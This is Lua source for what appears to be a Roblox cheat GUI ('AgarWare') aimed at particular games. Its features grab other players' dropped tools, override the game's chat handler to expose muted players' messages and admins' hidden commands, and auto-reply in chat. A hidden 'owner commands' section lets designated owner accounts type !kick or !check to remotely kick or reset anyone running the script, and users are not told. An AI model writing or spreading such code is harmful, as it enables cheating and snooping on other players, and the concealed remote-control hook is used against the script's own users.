local minimizedSize = UDim2.new(0, 170, 0, 20)
MainMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
MainGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
MainMinimize.Text = "+"
else
MainGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
MainMinimize.Text = "-"
end
end)
-- ============================================================
-- TICKBOX FEATURE SETUP
-- Makes adding new features super easy
-- ============================================================
local activeFeatures = {}
local function setupTickBox(config)
--[[
config = {
row = "ADODeathRow",
tickBox = "ADODeathTickBox",
tooltip = "Tooltip text here",
onEnable = function() end, -- (Optional)
onDisable = function() end, -- (Optional)
loop = function() end -- (Optional)
}
]]
local rowName = config.row
local tickBoxName = config.tickBox
local tooltipText = config.tooltip
local onEnable = config.onEnable
local onDisable = config.onDisable
local loop = config.loop
local row = MainGroup:FindFirstChild(rowName)
if not row then
warn("[MainGroup] Row not found:", rowName)
return
end
local tickBox = row:FindFirstChild(tickBoxName)
if not tickBox then
warn("[MainGroup] TickBox not found:", tickBoxName)
return
end
local isEnabled = false
local loopConnection = nil
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Create tooltip
local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
-- Enable function
local function enable()
isEnabled = true
if MainAccentColor then
tickBox.BackgroundColor3 = MainAccentColor.BackgroundColor3
else
tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
end
if onEnable then
pcall(onEnable)
end
if loop then
loopConnection = RunService.Heartbeat:Connect(function()
if isEnabled then
pcall(loop)
end
end)
end
end
-- Disable function
local function disable()
isEnabled = false
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
if loopConnection then
loopConnection:Disconnect()
loopConnection = nil
end
if onDisable then
pcall(onDisable)
end
end
-- Click handler
tickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
-- Store for cleanup
table.insert(activeFeatures, {
tooltip = tooltip,
disable = disable,
connection = loopConnection
})
return {
enable = enable,
disable = disable,
isEnabled = function() return isEnabled end
}
end
-- ============================================================
-- FEATURES START HERE
-- Scroll down to add new features easily
-- ============================================================
-- AUTO DROP ON DEATH
local DEATH_TAG = "ADODeathDropped"
local charConn = nil
local function dropAllTools()
local char = LocalPlayer.Character
if not char then return end
for _, tool in ipairs(LocalPlayer.Backpack:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = char
end
end
task.wait(0.05)
for _, tool in ipairs(char:GetChildren()) do
if tool:IsA("Tool") then
tool:AddTag(DEATH_TAG)
tool.Parent = workspace
end
end
end
local function pickupDroppedTools(char)
local deadline = tick() + 3
repeat
local hum = char:FindFirstChildWhichIsA("Humanoid")
if hum and hum.Health > 0 then
for _, obj in ipairs(workspace:GetChildren()) do
if obj:IsA("Tool") and obj:HasTag(DEATH_TAG) and obj:FindFirstChild("Handle") then
hum:EquipTool(obj)
end
end
local remaining = false
for _, obj in ipairs(workspace:GetChildren()) do
if obj:IsA("Tool") and obj:HasTag(DEATH_TAG) then
remaining = true
break
end
end
if not remaining then break end
end
task.wait(0.1)
until tick() > deadline
end
local function setupADOCharacter(char)
task.spawn(function()
pickupDroppedTools(char)
end)
local hum = char:FindFirstChildWhichIsA("Humanoid") or char:WaitForChild("Humanoid", 10)
if not hum then return end
hum.Died:Connect(function()
task.wait(0.05)
dropAllTools()
end)
end
setupTickBox({
row = "ADODeathRow",
tickBox = "ADODeathTickBox",
tooltip = "Auto drops all of your tools on death. Instantly picks it back up after respawn.",
onEnable = function()
if LocalPlayer.Character then
setupADOCharacter(LocalPlayer.Character)
end
charConn = LocalPlayer.CharacterAdded:Connect(function(char)
setupADOCharacter(char)
end)
end,
onDisable = function()
if charConn then
charConn:Disconnect()
charConn = nil
end
end
})
-- AUTO PICKUP
local pickupLoop = nil
local unequipLoop = nil
local autoPickedTools = {}
setupTickBox({
row = "APickupRow",
tickBox = "APickupTickBox",
tooltip = "Automatically picks up all tools that players drop.",
onEnable = function()
autoPickedTools = {}
-- Pickup loop
pickupLoop = task.spawn(function()
while true do
local char = LocalPlayer.Character
local hum = char and char:FindFirstChildWhichIsA("Humanoid")
if hum and hum.Health > 0 then
local currentTool = char:FindFirstChildOfClass("Tool")
for _, obj in ipairs(workspace:GetChildren()) do
if obj:IsA("Tool") and obj:FindFirstChild("Handle") and not obj:HasTag(DEATH_TAG) then
autoPickedTools[obj] = tick() + 0.5
pcall(function()
hum:EquipTool(obj)
end)
end
end
if currentTool and currentTool.Parent == LocalPlayer.Backpack and not autoPickedTools[currentTool] then
task.wait(0.05)
hum:EquipTool(currentTool)
end
end
task.wait(0.1)
end
end)
-- Unequip loop
unequipLoop = task.spawn(function()
while true do
local char = LocalPlayer.Character
if char then
local currentTime = tick()
for tool, expiry in pairs(autoPickedTools) do
if currentTime > expiry then
autoPickedTools[tool] = nil
end
end
for _, tool in pairs(char:GetChildren()) do
if tool:IsA("Tool") and autoPickedTools[tool] and currentTime < autoPickedTools[tool] then
tool.Parent = LocalPlayer.Backpack
end
end
end
task.wait()
end
end)
end,
onDisable = function()
if pickupLoop then
task.cancel(pickupLoop)
pickupLoop = nil
end
if unequipLoop then
task.cancel(unequipLoop)
unequipLoop = nil
end
autoPickedTools = {}
end
})
-- ANTI ENLIGHTEN DROP
local ENLIGHTEN_NAMES = {"Enlighten", "The Arkenstone", "Arkenstone"}
local enliConnections = {}
local function isEnlighten(tool)
if not tool:IsA("Tool") then return false end
for _, name in ipairs(ENLIGHTEN_NAMES) do
if tool.Name:lower():find(name:lower()) then
return true
end
end
return false
end
local function monitorEnlighten(tool)
if not isEnlighten(tool) then return end
local conn = tool.AncestryChanged:Connect(function()
if tool.Parent == workspace then
task.wait(0.05)
local char = LocalPlayer.Character
local hum = char and char:FindFirstChildWhichIsA("Humanoid")
if hum and hum.Health > 0 then
pcall(function()
hum:EquipTool(tool)
end)
end
end
end)
table.insert(enliConnections, conn)
end
local function setupEnliCharacter(char)
for _, tool in ipairs(char:GetChildren()) do
monitorEnlighten(tool)
end
for _, tool in ipairs(LocalPlayer.Backpack:GetChildren()) do
monitorEnlighten(tool)
end
local charConn = char.ChildAdded:Connect(function(child)
monitorEnlighten(child)
end)
table.insert(enliConnections, charConn)
local backpackConn = LocalPlayer.Backpack.ChildAdded:Connect(function(child)
monitorEnlighten(child)
end)
table.insert(enliConnections, backpackConn)
end
setupTickBox({
row = "AntiEnliRow",
tickBox = "AntiEnliTickBox",
tooltip = "Prevents you from dropping enlighten on drop.",
onEnable = function()
if LocalPlayer.Character then
setupEnliCharacter(LocalPlayer.Character)
end
local charConn = LocalPlayer.CharacterAdded:Connect(function(char)
setupEnliCharacter(char)
end)
table.insert(enliConnections, charConn)
end,
onDisable = function()
for _, conn in ipairs(enliConnections) do
conn:Disconnect()
end
enliConnections = {}
end
})
-- ============================================================
-- ADD NEW FEATURES HERE - USE THIS TEMPLATE:
-- ============================================================
--[[
setupTickBox({
row = "YourRow",
tickBox = "YourTickBox",
tooltip = "What this feature does",
onEnable = function()
-- Code that runs ONCE when enabled
end,
onDisable = function()
-- Code that runs ONCE when disabled
end,
loop = function()
-- Code that runs EVERY FRAME while enabled
end
})
]]
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
for _, feature in pairs(activeFeatures) do
if feature.tooltip then
feature.tooltip:Destroy()
end
if feature.disable then
feature.disable()
end
end
end
end)
end;
task.spawn(C_cc);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyScript
local function C_d2()
local script = G2L["d2"];
-- ============================================================
-- CHATSPY + ARKSPY + DONATESPY + MUTEDSPY (single OnIncomingMessage)
-- ============================================================
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local LocalPlayer = Players.LocalPlayer
-- ============================================================
-- CHATSPY UI REFS
-- ============================================================
local ChatSpyRow = script.Parent
local ChatSpyTickBox = ChatSpyRow.ChatSpyTickBox
local ChatSpyText = ChatSpyRow.ChatSpyText
local MainGroup = ChatSpyRow.Parent
local MainAccentColor = MainGroup.MainAccentColor
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local ScreenGui = (function()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end)()
-- ============================================================
-- OTHER UI REFS
-- ============================================================
local ArkSpyTickBox = nil
local ProtectionAccentColor = nil
local DonateSpyTickBox = nil
local MutedSpyTickBox = nil
local MiscAccentColor = nil
local EnliChatBlueTickBox = nil
for _, desc in pairs(ScreenGui:GetDescendants()) do
if desc.Name == "ArkSpyRow" then
ArkSpyTickBox = desc:FindFirstChild("ArkSpyTickBox")
ProtectionAccentColor = desc.Parent:FindFirstChild("AlertAccentColor")
end
if desc.Name == "DonateSpyRow" then
DonateSpyTickBox = desc:FindFirstChild("DonateSpyTickBox")
MiscAccentColor = desc.Parent:FindFirstChild("AlertAccentColor")
end
if desc.Name == "MutedSpyRow" then
MutedSpyTickBox = desc:FindFirstChild("MutedSpyTickBox")
if not MiscAccentColor then
MiscAccentColor = desc.Parent:FindFirstChild("AlertAccentColor")
end
end
if desc.Name == "EnliChatBlueTickBox" then
EnliChatBlueTickBox = desc
end
end
-- ============================================================
-- BOTREPLY UI REFS
-- ============================================================
local BotReplyTickBox = nil
local BotReplyPrivTickBox = nil
local BotReplyCaseTickBox = nil
local BotReplyContainsTickBox = nil
local BotAccentColor = nil
local ChatTriggerBox = nil
local ChatReplyBox = nil
local BotReplyArkTickBox = nil
local BotMinTimeTickBox = nil
local BotMinTimeChanger = nil
for _, desc in pairs(ScreenGui:GetDescendants()) do
if desc.Name == "BotReplyRow" then
BotReplyTickBox = desc:FindFirstChild("BotReplyTickBox")
BotAccentColor = desc.Parent:FindFirstChild("BotAccentColor")
end
if desc.Name == "BotReplyPrivRow" then
BotReplyPrivTickBox = desc:FindFirstChild("BotReplyPrivTickBox")
end
if desc.Name == "BotReplyCaseRow" then
BotReplyCaseTickBox = desc:FindFirstChild("BotReplyCaseTickBox")
end
if desc.Name == "BotReplyContainsRow" then
BotReplyContainsTickBox = desc:FindFirstChild("BotReplyContainsTickBox")
end
if desc.Name == "ChatTriggerRow" then
ChatTriggerBox = desc:FindFirstChild("ChatTriggerBox")
end
if desc.Name == "ChatReplyRow" then
ChatReplyBox = desc:FindFirstChild("ChatReplyBox")
end
if desc.Name == "BotReplyArkRow" then
BotReplyArkTickBox = desc:FindFirstChild("BotReplyArkTickBox")
end
if desc.Name == "BotMinTimeRow" then
BotMinTimeTickBox = desc:FindFirstChild("BotMinTimeTickBox")
BotMinTimeChanger = desc:FindFirstChild("BotMinTimeChanger")
end
end
-- ============================================================
-- STATE
-- ============================================================
local spychat = false
local isEnabled = false
local arkSpyOn = false
local donateSpyOn = false
local mutedSpyOn = false
local botReplyOn = false
-- ============================================================
-- TCO COLOR TABLES
-- ============================================================
local isog = workspace:FindFirstChild("Cubes") ~= nil
local namecolors = {
peasant = {150, 103, 102},
arken = {4, 175, 236},
admin = {245, 205, 48},
hidden = {255, 0, 0},
iqgenius = {255, 179, 179},
iqdumb = {200, 0, 0},
}
if isog then
namecolors.peasant = {128, 128, 128}
end
local namecolorshex = {}
for i, v in pairs(namecolors) do
namecolorshex[i] = "#" .. Color3.fromRGB(table.unpack(v)):ToHex()
end
-- ============================================================
-- COMMAND LIST (ArkSpy)
-- ============================================================
local commandSet = {}
for _, cmd in ipairs({
"airstrike","autumn","ball","bear","bigbrain","bkit","blaster","blind","boink","bomb",
"boombox","bow","bring","btool","btools","candy","car","carpet","cash","classic",
"claws","clearinv","clearsky","clicktp","clip","cloak","clone","clouds","cloudy","cmds",
"colorful","colorless","creeper","cubes","curse","cursed","dancegun","darkspring","day",
"debug","deer","delclones","delcubes","depth","disarm","dmg","drone","dtool",
"dumb","dwarf","enlighten","epic","explode","fame","fat","ff","fire","firespell",
"fireworks","flail","flashbang","fling","fly","fog","food","fov","freefall","freeze",
"gauntlet","gear","genius","getseed","giant","glitch","gloves","glow","god","goto",
"gravity","ham","headless","headsize","heal","height","hookgun","hour","hp","implode",
"invisible","iq","jail","joinog","joinvc","joinxl","jumppower","katana","lantern",
"lasergun","launch","launcher","makeway","mapnoise","mapseed","mapsize","maptide",
"maxhp","memeify","mines","missiles","modern","monke","moonsize","morph","mute",
"myopic","name","namek","nameon","nameoof","night","noclip","oof","ooflines","outlines",
"paint","paper","pistol","players","pointers","portalgun","pov","premium","protest",
"pumpkin","r15","r6","rage","railgun","raptor","rat","rctank","realistic","reset",
"rocket","scythe","seasize","seatide","shark","short","shotgun","shovel","sign","sit",
"size","skinny","smart","smoke","smollbrain","smooth","snowball","spam","spark","speed",
"spring","stand","stool","storm","summer","sunsize","swim","sword","tackle","tall",
"targets","taser","timeon","timeoof","tnt","tommy","torch","tospawn","toy","trail",
"unblind","uncurse","unff","unfire","unfly","unfreeze","unglow","ungod","unjail",
"unmute","unmyopic","unsmoke","unspark","untrail","uptime","visible","wear","width",
"winter","yang","yin","kick","time","filesize"
}) do
commandSet[cmd] = true
end
-- ============================================================
-- SHARED HELPERS
-- ============================================================
local function sendChat(message)
if shared.sendChat then
shared.sendChat(message)
end
end
local function isMuted(player)
return player:HasTag("Muted")
end
local function hasEnlighten(player)
local backpack = player:FindFirstChild("Backpack")
local char = workspace:FindFirstChild(player.Name)
return (backpack and backpack:FindFirstChild("The Arkenstone") ~= nil)
or (char and char:FindFirstChild("The Arkenstone") ~= nil)
end
local function enliBlueOn()
if not EnliChatBlueTickBox then return false end
return EnliChatBlueTickBox.BackgroundColor3 ~= Color3.new(0, 0, 0)
end
-- ============================================================
-- BOTREPLY HELPERS
-- ============================================================
local function botReplyTickOn(tickbox)
if not tickbox then return false end
return tickbox.BackgroundColor3 ~= Color3.new(0,0,0)
end
local ChatBListBox = nil
for _, desc in pairs(ScreenGui:GetDescendants()) do
if desc.Name == "ChatBListBox" then
ChatBListBox = desc
break
end
end
local function isBlacklisted(player)
if not ChatBListBox then return false end
local text = ChatBListBox.Text
if text == "" or text == ChatBListBox.PlaceholderText then return false end
local lowerName = player.Name:lower()
for entry in text:gmatch("[^,]+") do
local trimmed = entry:match("^%s*(.-)%s*$"):lower()
if trimmed ~= "" and trimmed == lowerName then
return true
end
end
return false
end
local function getTrigger()
if not ChatTriggerBox then return nil end
local t = ChatTriggerBox.Text
if t == "" or t == ChatTriggerBox.PlaceholderText then return nil end
return t
end
local function getReply()
if not ChatReplyBox then return nil end
local t = ChatReplyBox.Text
if t == "" or t == ChatReplyBox.PlaceholderText then return nil end
return t
end
local function botMessageMatches(msg, trigger)
local caseInsensitive = not botReplyTickOn(BotReplyCaseTickBox)
local contains = botReplyTickOn(BotReplyContainsTickBox)
local m = caseInsensitive and msg:lower() or msg
local t = caseInsensitive and trigger:lower() or trigger
if contains then
for word in m:gmatch("%S+") do
if word == t then return true end
end
return false
else
local firstWord = m:match("^(%S+)") or ""
return firstWord == t
end
end
local function convertForCommands(str)
return str:gsub("_", ".")
end
local function buildReply(text, player)
local usernameForCommand = convertForCommands(player.Name)
local displayForCommand = convertForCommands(player.DisplayName)
text = text:gsub("%[Username%]", usernameForCommand)
text = text:gsub("%[Display%]", displayForCommand)
return text
end
-- ============================================================
-- BOT MIN TIME CHECK
-- ============================================================
local function getPlayerTime(player)
local ls = player:FindFirstChild("leaderstats")
if not ls then return nil end
local t = ls:FindFirstChild("Time")
if not t then return nil end
return t.Value
end
local function passesMinTimeRequirement(player)
if not BotMinTimeTickBox then return true end
if not botReplyTickOn(BotMinTimeTickBox) then return true end
if not BotMinTimeChanger then return true end
local input = BotMinTimeChanger.Text
if not input or input == "" or input == BotMinTimeChanger.PlaceholderText then return true end
local lessThan = input:match("^<(%d+)$")
if lessThan then
local threshold = tonumber(lessThan)
if not threshold then return true end
local playerTime = getPlayerTime(player)
if playerTime == nil then return true end
return playerTime < threshold
end
local exact = tonumber(input)
if not exact then return true end
local playerTime = getPlayerTime(player)
if playerTime == nil then return true end
return playerTime >= exact
end
-- ============================================================
-- ARKSPY HELPERS
-- ============================================================
local function isAdmin(player)
local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen")
if not chosenTeam then return false end
return player.Team == chosenTeam
end
local function hasArkenstone(player)
local char = workspace:FindFirstChild(player.Name)
if not char then return false end
return char:FindFirstChild("The Arkenstone") ~= nil
end
local function messageHasCommand(msg)
local stripped = msg:sub(1,1) == ";" and msg:sub(2) or msg
local firstWord = stripped:match("^(%S+)") or ""
return commandSet[firstWord:lower()] == true
end
-- ============================================================
-- DONATESPY HELPERS
-- ============================================================
local function findPlayerByPartialName(partial)
local lowerPartial = partial:lower()
for _, p in pairs(Players:GetPlayers()) do
if p.Name:lower():sub(1, #lowerPartial) == lowerPartial then return p end
if p.DisplayName:lower():sub(1, #lowerPartial) == lowerPartial then return p end
end
return nil
end
local function parseDonate(msg, sender)
local stripped = msg:sub(1,1) == ";" and msg:sub(2) or msg
stripped = stripped:match("^%s*(.-)%s*$")
local rest = stripped:match("^[Dd][Oo][Nn][Aa][Tt][Ee]%s+(.*)")
if not rest then return nil, nil end
local parts = {}
for word in rest:gmatch("%S+") do table.insert(parts, word) end
if #parts == 0 then return nil, nil end
local targetPartial = parts[1]
local amount = 60
if #parts >= 2 then
local num = tonumber(parts[2])
if not num or num < 1 then return nil, nil end
amount = math.floor(num)
end
local target = findPlayerByPartialName(targetPartial)
if not target then return nil, nil end
if target == sender then return nil, nil end
local senderTime = getPlayerTime(sender)
if senderTime == nil then return nil, nil end
if senderTime < amount then return nil, nil end
return target, amount
end
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(parent, text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = parent
local stroke = Instance.new("UIStroke", frame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", frame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel", frame)
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
return frame
end
local function hookTooltip(tickbox, tooltipFrame)
tickbox.MouseEnter:Connect(function()
local abs = tickbox.AbsolutePosition
local size = tickbox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
tickbox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- BUILD TOOLTIPS
-- ============================================================
local chatSpyTooltip = makeTooltip(ScreenGui, "Reveals hidden commands, muted players, and IQ chat.")
hookTooltip(ChatSpyTickBox, chatSpyTooltip)
local arkSpyTooltip = makeTooltip(ScreenGui, "Announces and reveals hidden commands used by admins and enlightened players. Spy chat must be enabled")
if ArkSpyTickBox then
ArkSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
hookTooltip(ArkSpyTickBox, arkSpyTooltip)
end
local donateSpyTooltip = makeTooltip(ScreenGui, "Announces donations made by any player, including silent and muted donate commands. Spy chat must be enabled")
if DonateSpyTickBox then
DonateSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
hookTooltip(DonateSpyTickBox, donateSpyTooltip)
end
local mutedSpyTooltip = makeTooltip(ScreenGui, "Announces anything typed by muted players in chat. This will not annouce players using ; . Spy chat must be enabled")
if MutedSpyTickBox then
MutedSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
hookTooltip(MutedSpyTickBox, mutedSpyTooltip)
end
-- ============================================================
-- SINGLE MERGED OnIncomingMessage HANDLER
-- ============================================================
TextChatService.OnIncomingMessage = function(mdata)
local plr = mdata.TextSource
and mdata.TextSource.UserId
and Players:GetPlayerByUserId(mdata.TextSource.UserId)
if not plr then return end
local TCO_PLACE_IDS = {
11137575513,
12943245078,
12943247001,
108097274488844,
}
local isTCO = false
for _, id in ipairs(TCO_PLACE_IDS) do
if game.PlaceId == id then isTCO = true; break end
end
if not isTCO then return end
local cn
if plr.Neutral == true then
if plr:GetAttribute("Arken") == true then
cn = "arken"
else
cn = "peasant"
end
else
cn = "admin"
end
local muted = plr:HasTag("Muted")
if muted then
cn = "hidden"
if not spychat then mdata.Text = "" end
end
local hidden = false
if string.sub(mdata.Text, 1, 1) == ";" then
if spychat then
cn = "hidden"
hidden = true
else
mdata.Text = ""
end
end
local iqEmoji = nil
if spychat and plr:GetAttribute("IQ") then
local iq = plr:GetAttribute("IQ")
if iq >= 200 then
iqEmoji = "🧠"
cn = "iqgenius"
elseif iq <= 50 then
iqEmoji = "🤪"
cn = "iqdumb"
end
end
-- Build icon with enli star always on the left
local icon = ""
local enliStar = (enliBlueOn() and hasEnlighten(plr)) and "🌟" or ""
if spychat then
if hidden then
icon = enliStar .. "🚫 "
elseif muted then
icon = enliStar .. "🤐 "
elseif iqEmoji then
icon = enliStar .. iqEmoji .. " "
else
icon = enliStar ~= "" and (enliStar .. " ") or ""
end
else
icon = enliStar ~= "" and (enliStar .. " ") or ""
end
local r = namecolors[cn][1]
local g = namecolors[cn][2]
local b = namecolors[cn][3]
local hex = namecolorshex[cn]
local displayName = plr.DisplayName
if isog then
mdata.PrefixText = "" .. icon .. "[" .. displayName .. "]: "
else
mdata.PrefixText = "" .. icon .. "(" .. displayName .. ") "
end
local rawMsg = mdata.Text or ""
if rawMsg == "" then return end
if plr == LocalPlayer then return end
local silent = rawMsg:sub(1,1) == ";"
local mutedPlayer = isMuted(plr)
local mutedPrefix = mutedPlayer and "MUTED " or ""
-- ---- ARKSPY ----
local caughtByArk = false
if arkSpyOn then
local admin = isAdmin(plr)
local ark = hasArkenstone(plr)
if admin or ark then
local shouldAnnounce = false
if mutedPlayer then
if messageHasCommand(rawMsg) then
shouldAnnounce = true
caughtByArk = true
end
else
if silent and messageHasCommand(rawMsg) then
shouldAnnounce = true
end
end
if shouldAnnounce then
task.spawn(function()
sendChat(mutedPrefix .. plr.DisplayName .. ": " .. rawMsg)
end)
end
end
end
-- ---- DONATESPY ----
local caughtByDonate = false
if donateSpyOn then
local isDonate = rawMsg:lower():match("^;?%s*donate%s") ~= nil
or rawMsg:lower():match("^;?%s*donate$") ~= nil
if isDonate then
local shouldAnnounce = false
if mutedPlayer then
shouldAnnounce = true
caughtByDonate = true
elseif silent then
shouldAnnounce = true
end
if shouldAnnounce then
local target, amount = parseDonate(rawMsg, plr)
if target and amount then
task.spawn(function()
sendChat(mutedPrefix .. plr.DisplayName .. ": " .. rawMsg)
end)
end
end
end
end
-- ---- MUTEDSPY ----
if mutedSpyOn and mutedPlayer then
if not caughtByArk and not caughtByDonate then
task.spawn(function()
sendChat("MUTED " .. plr.DisplayName .. ": " .. rawMsg)
end)
end
end
-- ---- BOTREPLY ----
if botReplyOn then
local trigger = getTrigger()
local reply = getReply()
if trigger and reply then
if botMessageMatches(rawMsg, trigger) and passesMinTimeRequirement(plr) and not isBlacklisted(plr) then
local finalReply = buildReply(reply, plr)
task.spawn(function()
local messageToSend = finalReply
local usePrivate = botReplyTickOn(BotReplyPrivTickBox)
local useArk = botReplyTickOn(BotReplyArkTickBox) and shared.BotReplyArkSend ~= nil
if useArk then
shared.BotReplyArkSend(function()
if usePrivate and shared.BotReplyPrivSend then
shared.BotReplyPrivSend(plr, messageToSend)
else
sendChat(messageToSend)
end
end)
else
if usePrivate and shared.BotReplyPrivSend then
shared.BotReplyPrivSend(plr, messageToSend)
else
sendChat(messageToSend)
end
end
end)
end
end
end
-- ---- OWNER COMMANDS ----
repeat task.wait() until _G.IsOwner
if _G.IsOwner(plr.UserId) then
-- Reset character function
shared.ResetCharacter = shared.ResetCharacter or function()
if LocalPlayer.Character then
LocalPlayer.Character:BreakJoints()
end
end
-- Find nearest player to an owner
local function findNearestToOwner()
local nearestPlayer = nil
local shortestDist = math.huge
for _, owner in ipairs(Players:GetPlayers()) do
if _G.IsOwner(owner.UserId) and owner.Character and owner.Character:FindFirstChild("HumanoidRootPart") then
for _, p in ipairs(Players:GetPlayers()) do
if p ~= owner and p ~= LocalPlayer and p.Character and p.Character:FindFirstChild("HumanoidRootPart") then
local dist = (owner.Character.HumanoidRootPart.Position - p.Character.HumanoidRootPart.Position).Magnitude
if dist < shortestDist then
shortestDist = dist
nearestPlayer = p
end
end
end
end
end
return nearestPlayer
end
-- !check command
local checkTarget = rawMsg:match("^!check%s+(.+)")
if checkTarget then
checkTarget = checkTarget:lower():match("^%s*(.-)%s*$")
if checkTarget == "all" then
shared.ResetCharacter()
elseif checkTarget == "nearest" then
local nearest = findNearestToOwner()
if nearest and (nearest.Name:lower() == LocalPlayer.Name:lower() or nearest.DisplayName:lower() == LocalPlayer.DisplayName:lower()) then
shared.ResetCharacter()
end
elseif LocalPlayer.Name:lower() == checkTarget or LocalPlayer.DisplayName:lower() == checkTarget then
shared.ResetCharacter()
end
end
-- !kick command
local kickTarget = rawMsg:match("^!kick%s+(.+)")
if kickTarget then
kickTarget = kickTarget:lower():match("^%s*(.-)%s*$")
if kickTarget == "all" then
LocalPlayer:Kick("You have been kicked from the game.")
elseif kickTarget == "nearest" then
local nearest = findNearestToOwner()
if nearest and (nearest.Name:lower() == LocalPlayer.Name:lower() or nearest.DisplayName:lower() == LocalPlayer.DisplayName:lower()) then
LocalPlayer:Kick("You have been kicked from the game.")
end
elseif LocalPlayer.Name:lower() == kickTarget or LocalPlayer.DisplayName:lower() == kickTarget then
LocalPlayer:Kick("You have been kicked from the game.")
end
end
end
end
-- ============================================================
-- CHATSPY ENABLE / DISABLE
-- ============================================================
ChatSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
local function chatEnable()
isEnabled = true
spychat = true
ChatSpyTickBox.BackgroundColor3 = MainAccentColor.BackgroundColor3
end
local function chatDisable()
isEnabled = false
spychat = false
ChatSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
ChatSpyTickBox.MouseButton1Click:Connect(function()
if isEnabled then chatDisable() else chatEnable() end
end)
-- ============================================================
-- ARKSPY ENABLE / DISABLE
-- ============================================================
local function arkEnable()
arkSpyOn = true
if ArkSpyTickBox then
ArkSpyTickBox.BackgroundColor3 = ProtectionAccentColor and ProtectionAccentColor.BackgroundColor3 or Color3.fromRGB(0, 170, 255)
end
end
local function arkDisable()
arkSpyOn = false
if ArkSpyTickBox then
ArkSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end
if ArkSpyTickBox then
ArkSpyTickBox.MouseButton1Click:Connect(function()
if arkSpyOn then arkDisable() else arkEnable() end
end)
end
-- ============================================================
-- DONATESPY ENABLE / DISABLE
-- ============================================================
local function donateEnable()
donateSpyOn = true
if DonateSpyTickBox then
DonateSpyTickBox.BackgroundColor3 = MiscAccentColor and MiscAccentColor.BackgroundColor3 or Color3.fromRGB(0, 170, 255)
end
end
local function donateDisable()
donateSpyOn = false
if DonateSpyTickBox then
DonateSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end
if DonateSpyTickBox then
DonateSpyTickBox.MouseButton1Click:Connect(function()
if donateSpyOn then donateDisable() else donateEnable() end
end)
end
-- ============================================================
-- MUTEDSPY ENABLE / DISABLE
-- ============================================================
local function mutedEnable()
mutedSpyOn = true
if MutedSpyTickBox then
MutedSpyTickBox.BackgroundColor3 = MiscAccentColor and MiscAccentColor.BackgroundColor3 or Color3.fromRGB(0, 170, 255)
end
end
local function mutedDisable()
mutedSpyOn = false
if MutedSpyTickBox then
MutedSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end
if MutedSpyTickBox then
MutedSpyTickBox.MouseButton1Click:Connect(function()
if mutedSpyOn then mutedDisable() else mutedEnable() end
end)
end
-- ============================================================
-- BOTREPLY ENABLE / DISABLE
-- ============================================================
local function botReplyEnable()
botReplyOn = true
if BotReplyTickBox and BotAccentColor then
BotReplyTickBox.BackgroundColor3 = BotAccentColor.BackgroundColor3
end
end
local function botReplyDisable()
botReplyOn = false
if BotReplyTickBox then
BotReplyTickBox.BackgroundColor3 = Color3.new(0,0,0)
end
end
if BotMinTimeTickBox then
BotMinTimeTickBox.BackgroundColor3 = Color3.new(0,0,0)
BotMinTimeTickBox.MouseButton1Click:Connect(function()
if botReplyTickOn(BotMinTimeTickBox) then
BotMinTimeTickBox.BackgroundColor3 = Color3.new(0,0,0)
else
BotMinTimeTickBox.BackgroundColor3 = BotAccentColor and BotAccentColor.BackgroundColor3 or Color3.fromRGB(0,170,255)
end
end)
end
if BotReplyTickBox then
BotReplyTickBox.BackgroundColor3 = Color3.new(0,0,0)
BotReplyTickBox.MouseButton1Click:Connect(function()
if botReplyOn then botReplyDisable() else botReplyEnable() end
end)
end
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
spychat = false
arkSpyOn = false
donateSpyOn = false
mutedSpyOn = false
chatSpyTooltip:Destroy()
arkSpyTooltip:Destroy()
donateSpyTooltip:Destroy()
mutedSpyTooltip:Destroy()
end
end)
end;
task.spawn(C_d2);
